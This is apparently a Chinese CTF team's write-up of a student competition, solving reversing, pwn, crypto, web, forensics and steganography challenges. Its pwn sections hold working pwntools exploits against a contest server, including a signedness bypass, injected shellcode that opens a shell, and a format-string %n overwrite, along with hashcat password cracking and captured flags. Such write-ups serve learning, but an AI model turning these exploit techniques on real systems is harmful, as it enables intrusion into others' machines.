题目提示了是异常相关的内容. 先找到验证flag的函数sub_23E8. https://i.postimg.cc/9MYrFG0k/4-MU4-NNC1-EXRRZW-116-8-P-V.png 流程图这里显示了try…catch…, 但是按F5发现IDA根本不会对catch内容进行反汇编, 因为catch的内容不应该在程序的正常逻辑里, 那就需要我们自己找到异常发生的位置, 修改汇编代码写一个jmp到catch的位置强行让IDA反汇编, 得到真实的程序逻辑. 具体操作见代码注释.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#include<cstdio>

#include<cctype>

int main()

{

    char s[] = "L1jf[VpbnnUYg}=lw prK[wyau|i=<?";

    for (int i = 0; i < 31;i ++)

    {

        s[i] ^= i;

        if (islower(s[i]))

        {

            int delta = (s[i]-84) >= 26 ? 0 : 26;

            s[i] = (s[i] - 97 + 84) + delta;

        }

        else if (isupper(s[i]))

        {

            int delta = (s[i]- 52) >= 26 ? 0 : 26;

            s[i] = (s[i] - 65 + 52) + delta;

        }

        printf("%c", s[i]);

    }

}

/*

sub_23E8 验证flag的函数

try 2484 往右看267B catch

ida会忽略catch 所以要patch一下, 在try处强行jmp到catch处让ida反编译

可以把248E那行的jnz改了

edit-patch-byte

75 18 48 8D 45 80 BE 27 00 00 00 48 48 ....

E9 E8 01 00 00 48 8D 45 80 BE 27 00 00 00 48 48

改完之后在248E那行按C变成代码 再按f5反编译

之后发现输入的flag被混淆了一下再跟异或后的一个字符串s进行比较(见代码)

若相等则输出congratulations

所以我们反着那个混淆的过程来一遍

*/

看核心代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
scanf("%d", &n);

  

  if (n > 1000)

  {

    printf("Am I that old?");

    return 0;

  }

  

  if(n > sizeof(int)*1000)

    system("/bin/sh");

  else

    printf("False answer.");

  return 0;

需要n<= 1000n > sizeof(int)*1000同时成立, 根据常识得知sizeof运算符返回值是个size_t, 其实就是unsigned int, 而关系运算符比较时如果有一边是无符号整型就会把另一边也当成无符号整型, 而负数的补码是十分巨大的, 且任何负数都能过n>1000的if, 所以直接输入-1(是个负数就行). exp如下, 主要是用一下pwntools.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
from pwn import *

r = remote("124.220.41.254",12351)

payload = "-1"

r.sendline(payload)

r.interactive()

#flag{a_s3cr3t_makes_a_w0man_w0man}

a secret makes a woman woman. 秘密造就女人. 出自名侦探柯南中的贝尔蒙德(苦艾酒). 如果这道题有疑问可以阅读CS:APP第二章.

看下源代码: 注意这是个union而不是struct, 我一开始在这卡了半天.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#include <stdio.h>

#include <stdlib.h>

  

typedef union

{

  char  ch[8];

  double fa;

}float_char;

  

int main(void)

{

  

  float_char gundam;

  

  setvbuf(stdout, 0, 2, 0);

  setvbuf(stdin, 0, 2, 0);

  

  printf("please give me the core float!!!\n");

  for (int i = 0; i < 8; i++)

  {

    gundam.ch[i] = getchar();

  }

  

  if (gundam.fa == 0.618)

  {

    printf("Gundam Rising!!");

    system("cat /tmp/flag");

  }

  else

    printf("false!\n");

  

  return 0;

  

}

根据常识, union里的成员是共享内存的, 输入的8个char占8个字节正好跟double一样长, 所以直接把0.618转成IEEE浮点数编码输进去, 可用这个网站

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
from pwn import *

p = remote("124.220.41.254",12352)

payload = p64(0x3FE3C6A7EF9DB22D)

p.sendline(payload)

p.interactive()

#https://tooltt.com/floatconverter/

#flag{GuNd4m_D4i3hl_Ni_Tatsu!!}

flag是高达相关, 没看过不懂.

依然给了源代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <stdio.h>

  
  

int main(void)

{

  setvbuf(stdout, 0, 2, 0);

  setvbuf(stdin, 0, 2, 0);

  

  printf("where is my shell?\n");

  

  char  map[200] = {0};

  fread(map, sizeof(char), 200, stdin);

  

  ( *( (void (*)())(map) ) )();

  

  return 0;

}

主要是一对括号那一行, 代表将map作为一个无参数无返回值的函数指针执行, 即执行map数组里存放的代码. 所以可以直接用pwntools生成shellcode发送, 注意需要凑够fread的200个字符, 不然卡在输入不会执行下面的内容.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
from pwn import*

context(log_level = 'debug', arch = 'amd64', os = 'linux')

shellcode=asm(shellcraft.sh())

io = remote("124.220.41.254",12353)

io.recvline()

payload = shellcode + b'a' *200

io.sendline(payload)

io.interactive()

#flag{4sian_box_turtles_are_terrestrial_semiaquatic_0r_mainly_aquatic}

群英萃

$$c^e\equiv m(mod n)$$ 求e, 这是一个离散对数问题, 两边取c底对数即可 https://i.postimg.cc/fW2DDH5d/QL3-TZL7-47-FR1-J-E-A.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#coding:utf-8

import gmpy2

import math

p = gmpy2.mpz(9291095464339049501122016215036801609076690409439759243805806156758162822504691051968625099221631819591773271234574111033316745132333558209010061036735209)

q = gmpy2.mpz(9291095464339049501122016215036801609076690409439759243805806156758162822504691051968625099221631819591773271234574111033316745132333558209010061036734597)

n = gmpy2.mpz(p*q)
c= gmpy2.mpz(1726451157466076433792836196664085910979187016091203310065720429902133572806608113284818027976972190830033290122505577365602531862757450336358643162255821060574358592539799816885970433458408073145090775789065027821803347481834992353713744451853547019182346795544517493138753886389569573107421069710550196774306827161541122709173109834262231098739744078195243391364660744900708109250412707344274544497714183635751450797713917269730241444303399176795175532013203836751964156008402156770232454876185312418767444252495415626026403381106932726330651046682802405218801215363746553285724723893152351473588202746739879107018)

a = math.lcm((p-1)*(q-1))

b=gmpy2.mpz(gmpy2.invert(a,n))

print(b)

print(((pow(c,a,n*n))-1)*b)

m = ((pow(c,a,n*n))-1)*b//n

print(m)

m = m % n

print(m)

print(hex(m))

encryption里给了一段经过异或的message, 看xor那个函数和下面的assert可以发现key有11位且只含字母和数字(isalnum函数), 循环地依次和原message异或, 那么由于我们知道message的前几位是mayctf{, 根据异或可逆性可以逆出前七位key是"1loveyo", 还剩四位本打算写个搜索生成一下然后肉眼找, 结果写挂了, 怒而直接key是i1loveyoumia, 试了一下发现是正确的.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
def xor(msg, key):

    o = ''

    for i in range(len(msg)):

        o += chr(ord(msg[i]) ^ ord(key[i % len(key)]))

    return o

keylist = []

f = open('encryption', 'r')

enc = ''.join(f.readlines()).rstrip('\n')

print(enc)

f.close()

table = [ 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H','I', 'J', 'K', 'L', 'M', 'N', 'O', 'P','Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X','Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f','g', 'h', 'i', 'j', 'k', 'l', 'm', 'n','o', 'p', 'q', 'r', 's', 't', 'u', 'v','w', 'x', 'y', 'z', '0', '1', '2', '3','4', '5', '6', '7', '8', '9']

flag = "mayctf{"

key = ""

  

for i in range(0, 7):

    key+=chr(ord(flag[i]) ^ ord(enc[i]))

key += 'U'

def genkey(i, key):

    if (i == 11):

        keylist.append(key)

        return

    for j in table:

        genkey(i + 1, key + j)

for i in table:

    i

    #genkey(9, key + i)

  

# print (keylist)

d = open('message', 'w')

d.write(xor(enc, 'i1oveyoumia'))

for i in keylist:

    temp = xor(enc, i)

    if (temp[-1] == '}'):

        d.write(temp)

        d.write("\n")

都是logchar写的

这两篇博客讲的很详细了捏
漏洞讲解
session伪造

在下发的![](file:///C:\Users\JuicyMio\AppData\Roaming\Tencent\QQ\Temp%W@GJ$ACOF(TYDYECOKVDYB.png)app.py中,按照给出的解码方法将给出的cipher_text解码。
得到提示后,构造POST请求包。(注意POST包中必要的Content-Type和Content-Length内容)
成功用POST上传KEY值后,页面自动跳转,观察可以发现首字母组成了flag,并暗示了解码方式最后注意区分I和l (qwq!)

  虽然是签到题,但我一开始没想到按f12,,,按了之后得到密文和掩码,给hashcat跑了之后得到当天的密码972513,再随便找个学号加上这个用md5加密得到密文然后登陆即可。          

开始先听了一下,没听出来啥,放进Audacity观察了一下频谱和波形图也没看出来啥。然后发现一个四分多钟的wav竟然有50mb,应该是隐写了文件。放进SlientEye,decode出来一个actually in here 文件,里面有一个音频文件和图片。音频继续放进SlientEye,decode出一个in here音频,听了一下,是摩斯电码,放进Audacity,放大波形图,就可以根据波形图得出摩斯电码,翻译之后得到PASSWORDISCUTE+DARKFLYING.JPG,图片很容易上看到rumia,得到密码cuterumia,密码是得到了,但是要解啥呢?想起来in here音频还没放进过SlientEye,decode得到一个加密压缩包,用cuterumia解开得到flag Orz

根据2.piz和看hex值, 可以发现zip文件头倒着在文件结尾, 文件是整个按字节倒过来的, 所以写个脚本把它倒回去. 倒回来用zip打开发现里面是个yp.ssencnirp, 容易猜到也是倒过来, flag在里面info_text那里. 发现是每隔一个字符取一个字符.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import struct

def f1():

    f = open("2.piz", 'rb+')

    w = open("2.zip", 'wb+')

  

    l = f.read()

    for i in reversed(l):

        # temp = struct.pack('b',i)

        w.write(i.to_bytes(1, byteorder='little'))

    f.close()

    w.close()

f2 = open("yp.ssecnirp", 'rb+')

w2 = open("princess.py", "wb+")

  

l2 = f2.read()

for i in reversed(l2):

    # temp = struct.pack('b',i)

    w2.write(i.to_bytes(1, byteorder='little'))

f2.close()

w2.close()

我愿称这题为接头霸王, 因为该有的文件头一个都没有. 题目给的文件是个png, 用binwalk之类的东西什么都分不出来, 但是可以查到一个zip的文件尾, 估计zip文件头被去掉了. 于是我尝试搜索zip文件头后面的部分.

14 00:解压文件所需 pkware 版本
00 00:全局方式位标记(有无加密)
08 00:压缩方式

结果真的找到了 https://i.postimg.cc/K8ZPBrdm/IVP-K9-P-N3859-HY-WDG-3-Y2.png 注意到前面的CHAMPION_FLAN, 其实这是这题分割各个文件的分隔符, 但我后来才发现… 总之在这前面加一个zip的文件头504B0304, 再把文件头到文件结尾导出到新的文件, 用zip打开, 发现是个tiff文件, 但是是损坏的, 用winhex打开发现也没头…加上tiff的文件头49492a00, 就可以打开, 图上写着flag的一部分. 再去看文件的前半部分, 刚刚看到的CHAMPION_FLAN的前面003B, 查询得知这是个gif的文件尾, 然后我们查询另一个CHAMPION_FLAN, 在它的后面补上49492a00, 即GIF的文件头, 将这一段导出即可得到一个gif, 写着flag的一部分. 此时只剩下最后一部分, 在刚刚的CHAMPION_FLAN前面是FFD9, 即jpg文件尾, 不出意外的是它也没头…但出意外的是它连脖子都没了, 直接在PNG的文件尾后面加JPG文件头再导出, jpg文件还是损坏的, 我注意到了jpg文件前面的附近有一个"Adobe", 便呼叫队友用PS生成一张jpg发给我, 用winhex打开找到PNG文件后面的"DB 00 84 00", 将前面的内容复制下来给jpg接上了头, 得到了flag的最后一部分. 接上的头内容如下: FFD8FFEE002141646F62650064800000000103001003020306000000000000000000000000FF 虽然看着wp内容很短, 但是翻来覆去找头找尾的过程属实折磨.

主要是队友社的, 我就最后进行了一个git仓库的回滚, 其他的给他写了. 仓库的.git的.被删了 加上 翻一下log找到add flag那条提交的哈希然后回溯 git reset –hard 9b500572926b59d6d42e23714d1b43ad73b52e24 flag就被恢复了

挂零了, 没wp可写(哭

没给源代码, IDA分析一下看到要利用格式化字符串漏洞覆盖v4, v5, v6的值. checksec看了各种保护都开了, 所以栈地址都是随机化的. 一通尝试之后发现了这个, 利用%n可以在printf里将第n个参数作为地址, 向其中写入目前成功打印了的字符个数, 而且%n本身不会打印字符. 而printf的前三个参数恰好是&v4, &v5, &v6. 题目要求v4, v5, v6的值也是升序的, 所以可以直接利用这个构造格式化字符串aaaa%1$naa%2$naa%3$n. exp如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *

context.arch = 'amd64'

io = remote("124.220.41.254",12372)

payload = b"aaaa%1$naa%2$naa%3$n"

io.sendline(payload)

io.interactive()

# 16c

# https://blog.csdn.net/weixin_43092232/article/details/106205344

'''

  __isoc99_scanf("%s", format);

  puts("Hhhh, I know you say:");

  printf(format, &v4, &v5, &v6);

  printf("\nokk, let us see the result:\na==%d\nb==%d\nc==%d\n", v4, v5, v6);

  if ( v4 == 4 )

  {

    if ( v5 != 6 )

      return printf("The value of b is not right!\n");

    if ( v6 != 8 )

      return printf("The value of c is not right!\n");

    puts("Wonderful!\nYou have got a shell now!");

    puts("Try to cat the flag!");

    system("/bin/sh");

  }

'''